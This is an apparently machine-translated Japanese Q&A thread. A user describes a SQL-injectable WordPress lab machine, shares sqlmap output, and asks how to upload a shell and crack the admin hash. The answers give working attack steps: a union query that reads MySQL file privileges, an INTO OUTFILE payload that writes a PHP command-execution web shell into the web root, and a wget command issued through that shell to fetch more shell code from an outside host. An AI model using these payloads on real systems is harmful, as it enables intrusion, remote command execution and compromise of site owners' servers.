ラボマシンの1つに SQLインジェクションの脆弱性Wordpressインストール が見つかりました。それを利用してシェルをアップロードしようとしています。
私は管理者ハッシュを取得できますが、JTRとHASHCATは運が悪いと時間がかかるので、かなり複雑なようです。
SQLmapからの基本的な出力は次のとおりです。
web server operating system: Linux Ubuntu xxxxxxxxx
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5
[02:24:38] [INFO] testing if current user is DBA
[02:24:38] [INFO] fetching current user
current user is DBA: True
[02:24:38] [INFO] fetching database names
[02:24:38] [INFO] the SQL query used returns 3 entries
[02:24:38] [INFO] resumed: "information_schema","information_schema"
[02:24:38] [INFO] resumed: "mysql","mysql"
[02:24:38] [INFO] resumed: "wordpress","wordpress"
available databases [3]:
[*] information_schema
[*] mysql
[*] wordpress
私は試した --os-Shell
オプションですが、これらのエラーが発生したため、書き込みアクセス権がないようです:
[02:26:36] [警告] Webサーバーパスを自動的に取得できません
[02:26:36] [情報] '/ var/www'にLIMIT INTO OUTFILEテクニックを介してファイルステージャーをアップロードしようとしています
[02:26:37] [警告] '/ var/www'にファイルステージャーをアップロードできません
[02:26:37] [情報] UNIONテクニックを使用して '/ var/www'にファイルステージャーをアップロードしようとしています
[02:26:37] [警告]ファイル内のジャンク文字がUNIONクエリの残りとして期待されます
[02:26:38] [警告]ファイルが書き込まれていないようです。これは、DBMSプロセスのユーザーが宛先パスで書き込み権限を持っていない場合に発生する可能性があります
問題なく--sql-Shellを取得できます。ここで手順を試してみました( http://evilzone.org/tutorials/upload-Shell-with-sql-injection/ )シェルをアップロードしましたが、次のエラーが発生します
[02:00:16] [警告]カスタムSQLクエリの実行は、スタックされたクエリがサポートされている場合にのみ使用できます
今、私はターゲットマシンにシェルをアップロードする方法が必要です、何か考えはありますか?また、Wordpress管理者パスワードハッシュをオンラインでクラックできる場所はありますか?
まず、sqlmapの失敗をデバッグする場合は、詳細度を上げる必要があります。適切な情報を収集しなかったため、この質問に実際に回答することはできません。
--os-Shell
は、MySQLでinto outfile
は、Webルートにファイルを書き込みます。これは、さまざまな理由で失敗する可能性があります。最も一般的な理由は、データベースとWebサーバー、および異なるマシンであることです。 UbuntuのデフォルトのAppArmorルールセットは、MySQLが/ var/www /に書き込むことを禁止します。また、into outfile
には、決して付与してはならない(ただし、付与されることが多い)ファイル特権が必要です。 sqlmapのfile-io機能を使用して、リモートファイルシステムの読み取りと書き込みを試すことができます。
このアプリケーションのコンテキストでは、Wordpress MySQLデータベースの内容をダンプすると、管理者のパスワードハッシュが生成されます。このハッシュをクラックすると、Wordpress adminアカウントが生成されます。ほとんどの場合、Wordpress extensions ....またはPHP shells。
はい、管理パネルやその他のコントロールパネルにログインしなくても、SQLステートメントを使用してシェルをウェブサーバーに書き込むことができます。
ただし、このためには特定の要件を満たす必要があります。
/var/www/website/
)ここで問題は、書き込み権限があるかどうかを確認する方法ですか?簡単にできることは、file_priv
テーブルからmysql.user
を読み取ることです。
union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--
現在のユーザーの後にY
と表示されている場合は、ラッキーで書き込み権限があります。
MySQLステートメントを利用する時が来ました。選択した行をファイルに書き込むINTO OUTFILE
を使用します。基本的な構文は次のとおりです。
select column_name from table_name into outfile "filepath/file.extension
このようなものは、ウェブサイトのディレクトリにShell.php
という名前のファイルを作成し、その中にPHPコードを書き込む必要があります。
http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/Shell.php"
これで、http://website.com/Shell.php?cmd=whoami
にアクセスしてシェルにアクセスできます。 cmd=
の後に任意のコマンドを実行できます。これで、curl
または `wget(Linuxサーバーの場合)を使用して、既製のシェルコードをサーバーにアップロードできます。
`http://website.com/Shell.php?cmd=wget http://othersite.com/Shell.txt -O code.php`
そして、あなたはあなたがあなたのシェルにアクセスすることができます:
http://website.com/code.php
あなたがすべてを理解したことを願っています:)